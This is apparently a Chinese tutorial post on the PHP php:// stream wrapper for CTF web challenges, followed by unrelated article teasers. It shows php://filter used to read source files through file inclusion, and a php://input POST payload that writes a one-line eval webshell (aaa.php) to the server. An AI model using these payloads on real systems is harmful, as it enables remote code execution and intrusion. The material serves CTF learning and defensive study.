php:// 协议

这里介绍一下:php:// 协议

条件:

allow_url_fopen:off/on
allow_url_include :仅php://input php://stdin php://memory php://temp 需要on

作用:

php:// 访问各个输入/输出流(I/O streams),在CTF里经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。

说明:

PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符,
内存里、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。
在这里插入图片描述

php://filter参数详解

该协议的参数会在该协议路径上进行传递,多个参数都可以在一个路径上传递。具体参考如下:
在这里插入图片描述

可用的过滤器列表(4类)

此处列举主要的过滤器类型,详细内容请参考:
https://www.php.net/manual/zh/filters.php
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

示例:

php://filter/read=convert.base64-encode/resource=[文件名]读取文件源码(针对php文件需要base64编码)
在这里插入图片描述
在这里插入图片描述
2.php://input + [POST DATA]执行php代码
在这里插入图片描述
在这里插入图片描述
若有写入权限,写入一句话木马
http://127.0.0.1/include.php?file=php://input
[POST DATA部分]

<?php fputs(fopen('aaa.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/525315.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Python GIL 锁 - Python零基础入门教程

目录 一.并行和并发二.GIL 锁 案例一&#xff1a;单核多线程案例二&#xff1a;单核多线程案例三&#xff1a;双核多线程 三.如何解决 GIL 锁问题四.猜你喜欢 零基础 Python 学习路线推荐 : Python 学习目录 >> Python 基础入门 Python 中除了线程互斥锁 Lock 还有 GIL …

Facebook隐私泄露事件继续发酵,黑客明码标价出售聊天信息

2018年对于Facebook来说&#xff0c;是命运多舛的一年&#xff0c;此前曝光的隐私泄露事件如今又在持续发酵。据BBC近日报道&#xff0c;有黑客宣称其已经窃取1.2亿个Facebook用户账号的私人信息&#xff0c;并试图以每个账户10美分的价格在网站上出售&#xff0c;目前也公布了…

BugkuCTF-WEB题好像需要密码

一个五位数密码 老实说burp跑的话能跑一天 89999次 burp真的太慢了 这次用python脚本 顺便学一学requests库 输入密码&#xff0c;得到flag

为了释放AI在边缘计算的力量 英特尔又出手了

无论是现在还是未来&#xff0c;生活中AI的影子都无处不在&#xff0c;智能机器人会为你安排行程、提供可行性方案&#xff1b;智能医疗可以帮助人们提升医疗技术水平&#xff0c;改善就医条件和环境&#xff1b;在自然灾害发生时处理海量信息&#xff1b;购物认证时&#xff0…

Python print 函数- Python零基础入门教程

目录 一.Python print 函数简介二.Python print 函数语法三.Python print 函数使用 1.objects 参数2.sep 参数3.end 参数4.flush 参数 四.猜你喜欢 零基础 Python 学习路线推荐 : Python 学习目录 >> Python 基础入门 一.Python print 函数简介 Python 中内置函数我们使…

BugkuCTF-Crypto题python_jail

题目可通过nc远程连接 输入nc建立连接 测试发现最多只能输入10个字符&#xff0c;要想有输出&#xff0c;需要print() &#xff08;7个字符&#xff09; 若print(flag)则有11个字符&#xff0c;超出限制&#xff0c;报错 可利用python里help()函数&#xff0c;借报错信息带出f…

Python format 函数- Python零基础入门教程

目录 一.format 函数简介 1.format 函数不设置下标2.format 函数设置下标 二.format 函数实战三.猜你喜欢 零基础 Python 学习路线推荐 : Python 学习目录 >> Python 基础入门 一.format 函数简介 format 函数主要是用来构造字符串&#xff0c;基本语法是通过 {} 符号操…

Cloud一分钟 | 北京13部门召开座谈会,要求阿里京东等平台规范开展双11促销活动...

Hello&#xff0c;everyone&#xff1a;11月07日早&#xff0c;星期三&#xff0c;新的一天祝大家工作愉快&#xff01;一分钟新闻时间&#xff1a;完1.微信群&#xff1a;添加小编微信&#xff1a;tangguoyemeng&#xff0c;备注“进群姓名公司职位”即可&#xff0c;加入【云…

BugkuCTF-Reverse题love

下载附件 先查壳 发现没加壳 再拖进 IDA 分析 按shiftF12查找字符串&#xff0c;可以看到如下 Base64 加密的痕迹&#xff0c;可判断基本是一个反解 flag 的题目 找到主函数按F5查看伪代码&#xff0c;如下&#xff1a; 可以发现这样的一个关键函数&#xff0c;也就是会将 …

技术争鸣!七大主题报告,四大技术专题,AI开发者大会首日议程全回顾

技术争鸣&#xff0c;座无虚席&#xff01;11 月 8 日&#xff0c;北京诺金酒店&#xff0c;2018 AI开发者大会&#xff08;AI NEXTCon&#xff09;第一天议程圆满结束&#xff0c;这是值得铭记的一天。上午 9 点&#xff0c;由中国 IT 社区 CSDN 与硅谷 AI 社区 AICamp 联合出…

BugkuCTF-Reverse题Timer(阿里CTF)

知识点 JEB相当于Windows平台上的IDA smali代码:双击Bytecode,出现smali代码;相较于C之汇编,那么smali之于Java onCreate: 一个activity启动回调的第一个函数就是onCreate,这个函数主要做这个activity启动的一些需要的初始操作的工作。 onCreate之后调用了还有onRestart()和o…

大数据重新定义未来,2018 中国大数据技术大会(BDTC)豪华盛宴抢先看!

随着信息技术的迅猛发展&#xff0c;数据的重要性和价值已毋庸置疑&#xff0c;数据正在改变竞争格局&#xff0c;成为重要的生产要素&#xff0c;更被定义为“21世纪的新电力”。在信息高速传播的今天&#xff0c;数据已经渗透到每一个行业和业务职能领域&#xff0c;指数级的…

BugkuCTF-Reverse题signin

知识点 reverse() 功能&#xff1a;反转数组里的元素的顺序 语法&#xff1a;arrayobject.reverse.() 这类方法会改变原来的数组&#xff0c;不可逆转 tostring() 功能&#xff1a;将各类进制的数字转化为字符串 语法&#xff1a;number.toString(radix)&#xff08;radix代表…

BugkuCTF-Reverse题SafeBox(NJCTF)

先下载软件&#xff0c;发现是个安卓的apk安装包&#xff0c;安装之后打开&#xff1a; 一、反编译查看源代码 只有一个输入框&#xff0c;其他的点不了。应该是要输入某个字符串然后判断是否正确&#xff0c;之后返回flag。 打开apk反编译&#xff1a; 两个类主要的差别就是…

人工智能进行时:人类的未来与未来的人类

人类的语言实在算不上严密。经过几千年的发展&#xff0c;人类语言能表达的意思越来越丰富&#xff0c;能够产生的歧义也越来越多&#xff0c;各种语言都有众多由双关语制造的段子。这对于计算机来说可不算是件好事&#xff0c;想要理解人类语言的真正含义&#xff0c;不仅需要…

BugkuCTF-Reverse题NoString

知识点 我们需要知道异或&#xff08;^&#xff09;操作 举例&#xff1a;11001001^0011000111111000 101;011;110;000异真同假 当我们得到11111000和00110001&#xff0c;我们怎么得到11001001&#xff1f;当然也是异或 11111000^0011000111001001 C语言的9u即异或9 c语言数…

干货(附源代码) | 爬取一万条b站评论,分析9.7分的新番凭啥这么火?

7月番《工作细胞》最终话在十一前放出。这部动漫在b站上评分高达9.7。除了口碑之外&#xff0c;热度也居高不下&#xff0c;更值得关注的是连很多平时不关注动漫的小伙伴也加入了追番大军。这次我们的目标是爬取b站上的所有短评进行分析&#xff0c;用数据说明为什么这部动漫会…

BugkuCTF-Reverse题mobile2(gctf)

下载文件 将AndroidManifest.xml直接放在010里面找到flag 此题根本不像个逆向题

BugkuCTF-Reverse题mobile1(gctf)

知识点 java.security.MessageDigest类 功能&#xff1a;用于为应用程序提供信息摘要算法的功能&#xff0c;如md5和SHA。换句话说&#xff0c;就是生成md5或者是SHA密码。 相关&#xff1a; getinstance:静态函数&#xff0c;用来实例操作和初始操作。 update:处理数据 reset…

面趣 | 苹果最刁钻的20个面试题,试试你会通关吗?

如同大部分硅谷公司一样&#xff0c;苹果会在面试中询问基于你过去工作经历的技术难题&#xff0c;以及与技术不太相关的“烧脑”谜题。有一些需要复杂的数学计算&#xff1b;还有一些虽然简单&#xff0c;但是语义却模糊不清。准备好了么&#xff1f;我们开始吧&#xff01; 以…